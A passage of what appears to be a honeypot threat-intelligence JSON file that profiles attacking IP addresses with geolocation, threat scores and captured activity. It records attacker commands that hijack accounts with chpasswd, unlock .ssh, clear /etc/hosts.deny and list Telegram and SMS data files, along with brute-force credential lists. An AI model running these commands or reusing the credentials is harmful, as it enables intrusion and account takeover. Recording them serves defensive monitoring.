        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:H3m0h1jEoUyA\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 18747,
      "as_org": "IFX Corporation",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T16:06:29.319000+00:00",
        "last_seen_30d": "2026-04-02T17:23:59.805000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "103.170.85.129": {
      "attack_count": 144,
      "first_seen": "2026-04-25T20:11:13.555Z",
      "last_seen": "2026-04-25T20:16:53.918Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 132116,
      "as_org": "Ani Network Pvt Ltd",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T20:11:13.555000+00:00",
        "last_seen_30d": "2026-04-25T20:17:57.304000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 73
      }
    },
    "103.49.238.22": {
      "attack_count": 129,
      "first_seen": "2026-04-01T06:50:36.695Z",
      "last_seen": "2026-04-01T07:31:49.021Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "claude",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$%^1st",
        "123@456a",
        "1qa@WS3ed",
        "1qaz2wsx_",
        "3245gs5662d34",
        "345gs5662d34",
        "Al123456",
        "Daniel123",
        "Test1@34",
        "chinazhenru",
        "claude",
        "claude123",
        "jh123456",
        "shanghaichangxin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"claude\\nH7sFO9rXrFJA\\nH7sFO9rXrFJA\\n\"|passwd",
        "echo -e \"claude\\nH7sFO9rXrFJA\\nH7sFO9rXrFJA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:50:36.695000+00:00",
        "last_seen_30d": "2026-04-01T07:32:53.408000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 35
      }
    },
    "116.203.75.134": {
      "attack_count": 116,
      "first_seen": "2026-04-30T19:21:04.859Z",
      "last_seen": "2026-04-30T19:26:41.255Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 175,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:21:04.859000+00:00",
        "last_seen_30d": "2026-04-30T19:27:49.977000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 59
      }
    },
    "190.190.78.19": {
      "attack_count": 108,
      "first_seen": "2026-04-28T08:07:33.183Z",
      "last_seen": "2026-04-28T08:18:13.305Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Boulogne Sur Mer",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:07:33.183000+00:00",
        "last_seen_30d": "2026-04-28T08:28:55.773000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 63
      }
    },
    "3.132.26.232": {
      "attack_count": 107,
      "first_seen": "2026-04-08T04:05:12.486Z",
      "last_seen": "2026-04-28T03:32:02.267Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6260,
        "days_active_30d": 30,
        "ports_targeted_30d": 161,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T15:43:04+00:00",
        "last_seen_30d": "2026-04-30T16:44:04.772000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4112,
        "Honeytrap": 1730,
        "Dionaea": 138,
        "Cowrie": 107,
        "Mailoney": 76,
        "Redishoneypot": 37,
        "ConPot": 16,
        "Honeyaml": 14,
        "Ipphoney": 11,
        "H0neytr4p": 8,
        "Ciscoasa": 6,
        "ElasticPot": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1
      }
    },
    "67.52.95.38": {
      "attack_count": 84,
      "first_seen": "2026-04-15T20:58:27.962Z",
      "last_seen": "2026-04-24T05:37:20.208Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "aj",
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456",
        "12345687",
        "1qazXSW@3edcVFR$",
        "3245gs5662d34",
        "345gs5662d34"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nC5x595nn1gdW\\nC5x595nn1gdW\\n\"|passwd",
        "echo -e \"123456\\nC5x595nn1gdW\\nC5x595nn1gdW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Honolulu",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T20:58:27.962000+00:00",
        "last_seen_30d": "2026-04-24T05:38:21.028000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 13
      }
    },
    "103.164.9.74": {
      "attack_count": 83,
      "first_seen": "2026-04-19T10:24:58.382Z",
      "last_seen": "2026-04-19T10:30:52.598Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd12!!",
        "Changeme_123",
        "root1234$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Cchh6Vczwtvy\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 141990,
      "as_org": "KHAZANA ENTERPRISE PRIVATE LIMITED",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:24:58.382000+00:00",
        "last_seen_30d": "2026-04-19T10:31:54.250000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 12
      }
    },
    "41.191.229.226": {
      "attack_count": 65,
      "first_seen": "2026-04-21T17:12:01.017Z",
      "last_seen": "2026-04-21T17:34:03.877Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "deployer",
        "dev",
        "ftpuser",
        "ionguest",
        "stefano",
        "ubuntu",
        "user",
        "user123"
      ],
      "passwords_attempted": [
        "111111",
        "123456",
        "123456a??",
        "345gs5662d34",
        "bot15",
        "dev30!",
        "ftp123",
        "ionguest",
        "q1w2e3r4",
        "root!2025",
        "rootPassw0rd",
        "stefano",
        "user.123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": null,
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T17:12:01.017000+00:00",
        "last_seen_30d": "2026-04-21T17:35:07.360000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 65,
        "Suricata": 30
      }
    },
    "103.244.172.55": {
      "attack_count": 50,
      "first_seen": "2026-04-04T17:05:34.792Z",
      "last_seen": "2026-04-04T17:11:02.238Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T17:05:34.792000+00:00",
        "last_seen_30d": "2026-04-04T17:12:03.870000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "203.128.20.209": {
      "attack_count": 50,
      "first_seen": "2026-04-14T13:37:16.518Z",
      "last_seen": "2026-04-14T13:42:40.825Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Khanpur",
      "asn": 134489,
      "as_org": "S. B Link Network",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T13:37:16.518000+00:00",
        "last_seen_30d": "2026-04-14T13:43:46.704000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "219.156.174.89": {
      "attack_count": 50,
      "first_seen": "2026-04-21T04:44:49.812Z",
      "last_seen": "2026-04-21T04:50:14.272Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T04:44:49.812000+00:00",
        "last_seen_30d": "2026-04-21T04:51:23.026000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.69": {
      "attack_count": 48,
      "first_seen": "2026-04-05T15:24:37.856Z",
      "last_seen": "2026-04-05T15:29:51.271Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:24:37.856000+00:00",
        "last_seen_30d": "2026-04-05T15:30:54.332000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "110.37.100.152": {
      "attack_count": 38,
      "first_seen": "2026-04-26T17:05:23.917Z",
      "last_seen": "2026-04-26T17:09:30.416Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:05:23.917000+00:00",
        "last_seen_30d": "2026-04-26T17:10:35.179000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "192.253.248.135": {
      "attack_count": 38,
      "first_seen": "2026-04-10T11:15:19.323Z",
      "last_seen": "2026-04-15T16:45:08.498Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Welcome123#",
        "Welcome@123",
        "admin123!",
        "admin123#",
        "admin2025",
        "admin@123",
        "test2026#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:15:19.323000+00:00",
        "last_seen_30d": "2026-04-15T16:46:17.740000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "116.34.14.135": {
      "attack_count": 36,
      "first_seen": "2026-04-21T19:41:48.292Z",
      "last_seen": "2026-04-21T19:42:44.617Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Donggu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T19:41:48.292000+00:00",
        "last_seen_30d": "2026-04-21T19:43:54.938000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "183.98.76.106": {
      "attack_count": 36,
      "first_seen": "2026-04-27T16:45:02.369Z",
      "last_seen": "2026-04-27T16:46:13.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T16:45:02.369000+00:00",
        "last_seen_30d": "2026-04-27T16:47:14.832000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "36.255.40.167": {
      "attack_count": 28,
      "first_seen": "2026-04-21T20:17:52.454Z",
      "last_seen": "2026-04-21T20:20:53.715Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T20:17:52.454000+00:00",
        "last_seen_30d": "2026-04-21T20:21:54.247000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "118.193.36.220": {
      "attack_count": 26,
      "first_seen": "2026-04-02T16:05:25.143Z",
      "last_seen": "2026-04-18T19:57:11.505Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 61.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.7,
        "persistence": 20.8,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 25,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T16:05:25.143000+00:00",
        "last_seen_30d": "2026-04-26T07:07:09.304000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 31,
        "Cowrie": 26
      }
    },
    "144.172.100.249": {
      "attack_count": 22,
      "first_seen": "2026-04-30T14:51:19.371Z",
      "last_seen": "2026-04-30T20:59:00.664Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.8"
      ],
      "passwords_attempted": [
        "Accept-Charset: utf-8",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        "Connection: close",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 66.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-30T13:58:10+00:00",
        "last_seen_30d": "2026-04-30T21:00:19.014000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 26,
        "Cowrie": 22,
        "Dionaea": 3,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "109.172.55.136": {
      "attack_count": 21,
      "first_seen": "2026-04-13T20:03:18.905Z",
      "last_seen": "2026-04-13T20:06:29.082Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "France",
